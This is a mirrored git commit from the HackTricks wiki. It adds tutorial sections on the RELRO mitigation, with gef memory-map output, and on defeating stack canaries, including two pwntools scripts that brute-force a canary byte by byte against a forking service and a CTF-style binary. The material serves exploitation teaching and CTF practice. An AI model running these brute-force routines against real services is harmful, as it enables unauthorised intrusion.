mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 23:51:29 +00:00
GitBook: [master] 2 pages modified
This commit is contained in:
parent
3e5a6d522a
commit
97d853f8b2
2 changed files with 152 additions and 0 deletions
|
@ -521,6 +521,99 @@ Si se usa la función execve\(\) después de fork\(\), se sobreescribe el espaci
|
|||
|
||||
#### **Relocation Read-Only \(RELRO\)**
|
||||
|
||||
### Relro
|
||||
|
||||
**Relro \(Read only Relocation\)** affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes **certain things read only** so we **can't write** to them. The most common way I've seen this be an obstacle is preventing us from doing a **`got` table overwrite**, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro.
|
||||
|
||||
With relro:
|
||||
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
|
||||
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
|
||||
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
|
||||
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
|
||||
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
|
||||
Without relro:
|
||||
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
|
||||
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
|
||||
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
|
||||
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
|
||||
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
|
||||
For the binary **without relro**, we can see that the `got` entry address for `fgets` is `0x404018`. Looking at the memory mappings we see that it falls between `0x404000` and `0x405000`, which has the **permissions `rw`**, meaning we can read and write to it. For the binary **with relro**, we see that the `got` table address for the run of the binary \(pie is enabled so this address will change\) is `0x555555557fd0`. In that binary's memory mapping it falls between `0x0000555555557000` and `0x0000555555558000`, which has the memory **permission `r`**, meaning that we can only read from it.
|
||||
|
||||
So what's the **bypass**? The typical bypass I use is to just don't write to memory regions that relro causes to be read only, and **find a different way to get code execution**.
|
||||
|
||||
Note that in order for this to happen the binary needs to know previous to execution the addresses to the functions:
|
||||
|
||||
* Lazy binding: The address of a function is searched the first time the function is called. So, the GOT needs to have write permissions during execution.
|
||||
* Bind now: The addresses of the functions are solved at the begginig of the execution, then read-only permissions are given to sensitive sections like .got, .dtors, .ctors, .dynamic, .jcr. ``**`-z relro`** `y` **`-z now`**
|
||||
|
||||
To check if a program uses Bind now you can do:
|
||||
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
|
||||
\*\*\*\*
|
||||
|
||||
|
||||
|
||||
Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT \(Procedure Linkage Table\), de aquí se realiza un salto \(jmp\) a la GOT y descubre que esa entrada no ha sido resuelta \(contiene una dirección siguiente de la PLT\). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT.
|
||||
|
||||
Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT \(rtfd\) y averigua la dirección de la función, la guarda en la GOT y la llama.
|
||||
|
@ -924,3 +1017,7 @@ Info functions strncmp —>** Info de la función en gdb
|
|||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io/)
|
||||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||||
|
||||
## **References**
|
||||
|
||||
* \*\*\*\*[**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)\*\*\*\*
|
||||
|
||||
|
|
|
@ -4,12 +4,21 @@
|
|||
|
||||
![](../../.gitbook/assets/image%20%28282%29.png)
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.
|
||||
However, you can manually notice this if you find that a value is saved in the stack at the begging of a function call and this value is checked before exiting.
|
||||
{% endhint %}
|
||||
|
||||
## Canary
|
||||
|
||||
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it \(network service\), because every time you connect to it **the same canary will be used**.
|
||||
|
||||
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary \(x64\)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server \(another way in **other situation** could be using a **try/except**\):
|
||||
|
||||
### Example 1
|
||||
|
||||
This example is implemented for 64bits but could be easily implemented for 32 bits.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -49,6 +58,52 @@ base_canary = get_bf(base) #Get yunk data + canary
|
|||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
|
||||
### Example 2
|
||||
|
||||
This is implemented for 32 bits, but this could be easily changed to 64bits.
|
||||
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
#gdb.attach(target)
|
||||
|
||||
# Brute force the canary
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
|
||||
## PIE
|
||||
|
||||
In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.
|
||||
|
|
Loading…
Reference in a new issue